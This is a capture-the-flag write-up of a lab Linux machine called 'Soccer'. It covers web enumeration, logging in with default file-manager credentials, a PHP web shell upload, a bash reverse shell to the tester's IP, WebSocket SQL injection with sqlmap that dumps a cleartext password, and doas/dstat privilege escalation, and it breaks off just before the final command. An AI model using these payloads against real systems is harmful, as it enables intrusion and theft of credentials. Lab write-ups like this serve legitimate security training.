Soccer
Soccer is an easy Linux machine. It has three ports open one of which is a webpage that contain a tiny file manager
instance running. Using default credentials we are able to access it and upload a php
web shell which lets us get a reverse shell as a low privilege user. Using this user we can enumerate the machine and see that it has a hidden subdomain which contains a WebSocket that sends data containing ticket numbers. This is socket is vulnerable to an sql
injection, using sqlmap
we can dump the database contents which contains a cleartext password of the user on the home directory of the machine. After some enumeration we find that the binary doas
has the setuid
bit set which lets us run a binary as the root user. This binary lets us keep root privileges.
Enumeration
NMap
From the nmap scan we can observe that there are three ports open. SSH and an http port which leads to a webpage with a file manager application running. Port 9091 is not standard and going to it returns some errors, this will become useful later on.
Tiny file manager
Going over to the website running on port 80 gives us a soccer themed site. There is not much we can click on so I ran a ffuf
scan to see what other directories there are on this page. I also ran some VHOST scanning but they did not return any subdomains.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
ffuf -w /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt -u http://soccer.htb/FUZZ
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://soccer.htb/FUZZ
:: Wordlist : FUZZ: /opt/seclists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
[Status: 200, Size: 6917, Words: 2196, Lines: 148, Duration: 16ms]
tiny [Status: 301, Size: 178, Words: 6, Lines: 8, Duration: 14ms]
:: Progress: [30000/30000] :: Job [1/1] :: 1886 req/sec :: Duration: [0:00:16] :: Errors: 2 ::
Gong over to http://soccer.htb/tiny
and we can see a login page to access the tiny file manager.
Since we have no credentials and we do not have any other way to get them I decide to look up for the default credentials to login into the application. A simple google search returns that these are admin/admin@123; user/12345
. Using the first set of admin credentials works and we are now in the file manager.
PHP reverse shell
I looked around the application and found that there is a php
file being hosted in the directory tiny
. This gave me an idea to upload my own php
shell into the file manager and the site allows us to open the php
files which execute the code. I created a simple file with the following contents: <?php system($_GET["cmd"]); ?>
after naming this file shell.php
and navigating to http://soccer.htb/tiny/uploads/shell.php
lets us use our web shell, we can now specify which commands to execute with ?cmd=
.
Using the following payload I get a reverse shell back to my machine:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.27/9001 0>&1'
Since we get the shell as www-data
we are not able to do much, we have no write permissions so we are not able to download external software to help us escalate our privileges. In this case I tried to look for interesting information on the server, like databases or configuration files. I was not able to find any. Looking at the running services and ports on the machine I see that there is a mysql
instance running on port 3306 and the same port 9091
that we saw earlier. In the home directory I see a user player
but we cannot read any of his files.
Since this port seems to be running a hidden service I decide to investigate further and look at the /etc/hosts
file of this server. I see a new subdomain soc-player.soccer.htb
. After adding this to my own hosts file and going to http://soc-player.soccer.htb/
we can see a new webpage that has more functionality that the other one.
Hidden Subdomain
The website has a login form to access a tickets page. I tried logging in with the same credentials as before but they did not work. Luckily the page lets us register a new user. After logging in we are presented with a page that lets us check if a given ticket exists.
Looking at the source code of the website I see that its sending this data through a WebSocket over port 9091. This is quite weird but now we found the reason for that port being open. The client sends the following payload to the server:
1
2
3
{
"id":"74853"
}
SQL Injection
The server then will respond with either Ticket Exists
or Ticket does not exist
. The other parts of the webpage do not seem like it could lead us to a shell or sensitive information. Since this is the only part that lets us put user input and send it to the server the vulnerability has to be here. I spent a lot of time here and had to ask for a hint, I already had seen that there was a mysql
database running on the machine. I was missing that there is an SQL injection in this WebSocket.
1
2
3
{
"id":"74823 OR 1=1 -- -"
}
Sending this payload to the WebSocket returns Ticket Exists
even though this ticket does not exist. I first used a payload with a single quotes after the ticket number but it did not work, the SQL injection only works with the above payload. This injection is not very useful but it allows us to see that the server is vulnerable and we can run SQLMap
to dump the database contents.
Using the following command I am able to dump the database which contains the password for the user we saw previously on the box sqlmap -u ws://soc-player.soccer.htb:9091/ --data '{"id":"*"}' --risk 3 --level 5 --dbs --batch --dbms=mysql
Without a higher level of risk or level sqlmap
is not able to find the injection. We can specify that the database is mysql
since we already saw it was running on port 3306. We get a database: soccer_db
which contains a table with user information after dumping it we get the following data.
1
2
3
4
5
6
7
8
Database: soccer_db
Table: accounts
[1 entry]
+------+-------------------+----------------------+----------+
| id | email | password | username |
+------+-------------------+----------------------+----------+
| 1324 | player@player.htb | PlayerOftheMatch2022 | player |
+------+-------------------+----------------------+----------+
Privilege Escalation
Using the credentials player:PlayerOftheMatch2022
I am able to ssh into the machine. After some enumeration I ran the command find / -type f -perm -4000 2>/dev/null
which shows that we can run doas
as root. After some research I find that we have to view its configuration file to find out which binary we can run as root. I used this article as a reference.
1
2
3
4
find / -name doas.conf 2>/dev/null
/usr/local/etc/doas.conf
player@soccer:~/snap$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
From this we can see that we can run dstat
as root. I checked GTFO bins to see if this binary was exploitable and it was. Running the following command lets us keep root privileges.